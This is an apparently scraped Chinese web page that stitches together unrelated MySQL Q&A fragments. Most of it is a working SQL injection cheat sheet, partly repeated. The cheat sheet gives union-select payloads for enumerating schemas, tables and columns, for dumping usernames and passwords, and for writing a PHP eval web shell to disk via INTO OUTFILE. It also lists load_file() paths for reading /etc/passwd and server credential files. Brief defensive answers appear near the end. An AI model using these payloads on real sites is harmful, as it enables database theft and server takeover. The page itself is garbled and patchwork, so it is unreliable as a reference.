web安全,mysql注入的时候,比如 ***.php?id=5 union select 1,2,3,4。。。如果返回正常
通常from后面都会有一个表名,比如 admin id user之类的union select 1,2,3,4,5,6,7,8,9,10,11 from。
暴字段长度
Order by num/*
匹配字段
and 1=1 union select 1,2,3,4,5…….n/*
暴字段位置
and 1=2 union select 1,2,3,4,5…..n/*
利用内置函数暴数据库信息
version() database() user()
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*
操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user /*
数据库权限:
and ord(mid(user(),1,1))=114 /* 返回正常说明为root
扩展资料:
网站的配备内容等,一旦里面的数据被某人获得或者是被修改,那么那个人就可能获得整个网站的控制权。至于怎么获得这些数据,那些MSSQL弱口令的就不说,剩下的最有可能就是利用注入漏洞。
当用户在网站外部提交一个参数进入数据库处理,然后把处理后的结果发给用户,这个是动态网页最常见的,但是这个参数一旦没有被过滤,使得我们自己构造的sql语句也可以和参数一起参与数据库操作的,那么SQL注入漏洞就会产生。
一个网站上存在外地数据提交是很正常的,一般都是用参数接受(request),然后再进行处理,而涉及于数据库操作的却占了很大的一部分。
参考资料来源:百度百科-注入
-------------------部分字段重复---------------------
--1.加索引的方式
create table test_2(id int,value int);
insert test_2 select 1,2 union all select 1,3 union all select 2,3;
Alter IGNORE table test_2 add primary key(id);
select * from test_2;
+----+-------+
| id | value |
+----+-------+
| 1 | 2 |
| 2 | 3 |
+----+-------+
我们可以看到 1 3 这条记录消失了
我们这里也可以使用Unique约束 因为有可能列中有NULL值,但是这里NULL就可以多个了..
--2.联合表删除
create table test_2(id int,value int);
insert test_2 select 1,2 union all select 1,3 union all select 2,3;
delete A from test_2 a join (select MAX(value) as v ,ID from test_2 group by id) b
on a.id=b.id and a.valueb.v;
select * from test_2;
+------+-------+
| id | value |
+------+-------+
| 1 | 3 |
| 2 | 3 |
+------+-------+
--3.使用Increment_auto也可以就是上面全部字段去重的第二个方法
--4.容易错误的方法
--有些朋友可能会想到子查询的方法,我们来试验一下
create table test_2(id int,value int);
insert test_2 select 1,2 union all select 1,3 union all select 2,3;
delete a from test_2 a where exists(select * from test_2 where a.id=id and a.value<value);
/*ERROR 1093 (HY000): You can't specify target table 'a' for update in FROM clause*/
目前,您不能从一个表中删除,同时又在子查询中从同一个表中选择。
Order by num/*
匹配字段
and 1=1 union select 1,2,3,4,5…….n/*
暴字段位置
and 1=2 union select 1,2,3,4,5…..n/*
利用内置函数暴数据库信息
version() database() user()
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*
操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user /*
数据库权限:
and ord(mid(user(),1,1))=114 /* 返回正常说明为root
暴库 (mysql>5.0)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—
猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
高级用法(一个可用字段显示两个数据内容):
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
直接写马(Root权限)
条件:1、知道站点物理路径
2、有足够大的权限(可以用select …. from mysql.user测试)
3、magic_quotes_gpc()=OFF
select ‘<?php eval($_POST[cmd])?>' into outfile ‘物理路径'
and 1=2 union all select 一句话HEX值 into outfile '路径'
load_file() 常用路径:
1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
3、load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
15、 /etc/sysconfig/iptables 本看防火墙策略
16 、usr/local/app/php5 b/php.ini PHP 的相当设置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 红帽子的系统版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相关设置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini
网站常用配置文件
config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))
注:
Char(60)表示 <
Char(32)表示 空格
手工注射时出现的问题:
当注射后页面显示:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
如果不过滤的话,这条语句是可以直接执行的,看这里面有个 union 关键字,这个关键字的意思是
union:联合的意思,即把两次或多次查询结果合并起来。
要求:两次查询的列数必须一致
推荐:列的类型可以不一样,但推荐查询的每一列,想对应的类型以一样
比如说你查用户信息表,如
select id,username from user ;
这个时候你得到的结果就是
id,username
1,张三
2,李四
......
如果被注入成功的话,像这样
select id,username from user union select id,password from user;
这是就会得到这样的数据
id,username
1,张三
2,李四
1,123456
2,123456789
//或者密码是加密存储的话如
1,sdfgsdgdfghsdfgsdfgsg
2, asdfasfasfdasfasdfasfasf
就是会在username的地方显示密码,这就是union 的作用,
比如说在文章列表页,被注入成功了,那基本上啥都能出来了
DEDEcms,GBK和UTF8版本互相转换有什么方法
当前安装版本为:dedecms v5.7 utf8,目标将网站由UTf8版本转换为GBK版。2 写在转换之前:要转换dede系统的版本,实际上是编码的转换的问题,要将mysqls数据从utf8转换为gbk编码,将模板文件的编码也要转换为GBK模式。在本文中两个核心工具,帝国备份王和Editplus 编辑器。用ebak2008工具的备份\/恢复...
有20万条数据,使用mysql数据库,insert与update哪个速度快
有20万条数据,使用mysql数据库,insert与update哪个速度快 基本一样,没人做这麼无聊的测试,毕竟insert和update功能不一样, 如果你这样比,那你还要看使用myisam引擎还是innodb引擎.
mysql 数据库 给字段添加递增列
key(id);就这样,不但设置了自动编号,同时设置了主键。参考资料:http:\/\/hi.baidu.com\/shavpies\/blog\/item\/eb7b703a72f045f8b211c783.html
上一个论坛一登陆就出现 MySQL Query Error,怎么回事?(解决追加100分...
数据库链接错误导致的,你联系管理员解决
MYSQL默认用户名root可以改的吗?
| | yxl | localhost | *23AE809DDACAF96AF0FD78ED04B6A265E05AA257 | | xly | % | *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 | +---+---+---+ 3 rows in set (0.00 sec)
mysql cluster 集群 可以在已有的数据库创建吗
没有看懂你的意思,如果是想创建独立的三个集群,是不可以的,cluster的集群主要分三部分,管理节点、计算节点、存储节点,其中所有的管理操作都在管理节点上进行,如果你已经有了一个集群了,该集群下有一个数据库,创建新的数据库只不过是给数据库增加了两个实例(oracle的叫法,实例),而不...
MySQL数据库里的密码数字,请问用什么软件可以把他还原成原来的字符串...
看规律应该是MD5加密,呵呵!但MD5加密的校验并不一定能用,在代码源码中查找有关MD5私钥,才能做想应破解!想找出原来的,就是给你了加密方法,不知道加密的私钥也没有用的!所以你只好找一下MD5中的算法,自己研究了!
我好像不小心把MYSQL在控制面板的删除程序里卸了,怎么回复啊_百度知 ...
只要数据库数据没有删除 ,还是可以重装的,然后再设置一下你的刷卡程序,应该是可以设置的吧!我不知道这个刷卡程序是什么样的,但我知道MYSQL是可以重装的。
如何把sqlserver数据转移到MySql里
Mss2sql由于是很有针对性的从 SQLServer 迁移到 MySQL,因为界面使用了操作向导设计,使用非常容易。同时在设置的过程中,有非常多的选项进行细节调整,可以感觉到软件经过了相当长一段时间的使用渐渐完善出来的。>>> 4、DB2DB DB2DB 由于是由国人开发,因此无论是界面还是提示信息,都是全程汉字。另外...
MYSQL 根据一表数据(同步)更新另一表数据(有要求)
REPLACE INTO A (item, sku, data)SELECT item, sku, data FROM B main WHERE NOT EXISTS (SELECT 1 FROM B sub WHERE main.item = sub.item AND main.`time` < sub.`time`)没测试过:就简单解释一下:REPLACE INTO 是表的合并语句 下面那个 SELECT * FROM WHERE NOT ...
典怡隆化: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通...
福鼎市13884402851: sql注入攻击怎么解决 - ?
典怡隆化: 百度百科:SQL注入攻击是你需要担心的事情,不管你用什么web编程技术,再说所有的web框架都需要担心这个的.你需要遵循几条非常基本的规则:1)在构造动态SQL语句时,一定要使用类安全(type-safe)的参数加码机制.大多数的数据...
福鼎市13884402851: sql注入方式和防御? - ?
典怡隆化: 注入方式:QL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.防御:如果是.net的后台 比如sql语句是 id='"+ textbox.Text +"' 就会被注入, 如果id=@idcommand.parameters.addWithValue("@id",textbox.Text) 这样就可以.用replace把单引等特殊字符替换也行
福鼎市13884402851: 如何规避sql注入的风险 - ?
典怡隆化: 参数化查询,禁用拼凑字符串的方式传输sql语句
福鼎市13884402851: 如何对网站进行SQL注入 - ?
典怡隆化: 1.POST注入,通用防注入一般限制get,但是有时候不限制post或者限制的很少,这时候你就可以试下post注入,比如登录框、搜索框、投票框这类的.另外,在asp中post已被发扬光大,程序员喜欢用receive来接受数据,这就造成了很多时候...
福鼎市13884402851: 开发过程中需要考虑的web安全问题具体有哪些 - ?
典怡隆化: SQL注入,shell注入这些,前端干不了太多,更多的是后端来解决的. 前端开发中,我们通常遇到的安全问题有这几个方面 一、XSS攻击与防御 二、CSRF攻击 三、HTTP劫持 四、界面操作劫持 其中XSS和CSRF最常见了.
福鼎市13884402851: 什么是注入?黑客们是怎样利用注入漏洞攻击网站的??
典怡隆化: 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以...
福鼎市13884402851: 网站被挂马了该怎么办?遭受SQL注入该怎么办? - ?
典怡隆化: 加上网站防注入代码
福鼎市13884402851: 请问什么是SQL注入攻击?
典怡隆化: SQL注入攻击是黑客对数据库进行攻击的常用手段之一.随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据...
福鼎市13884402851: 什么叫sql注入,如何防止sql注入 - ?
典怡隆化: 可以使用变量绑定的方式就可以防止sql注入,如果是直接拼接的方式那么就非常容易被注入.比如:select * from tablename where user='admin' and pwd ='123' 假设说这个是一个登录的sql语句,admin是用户文本框输入的,pwd是密码框输入的...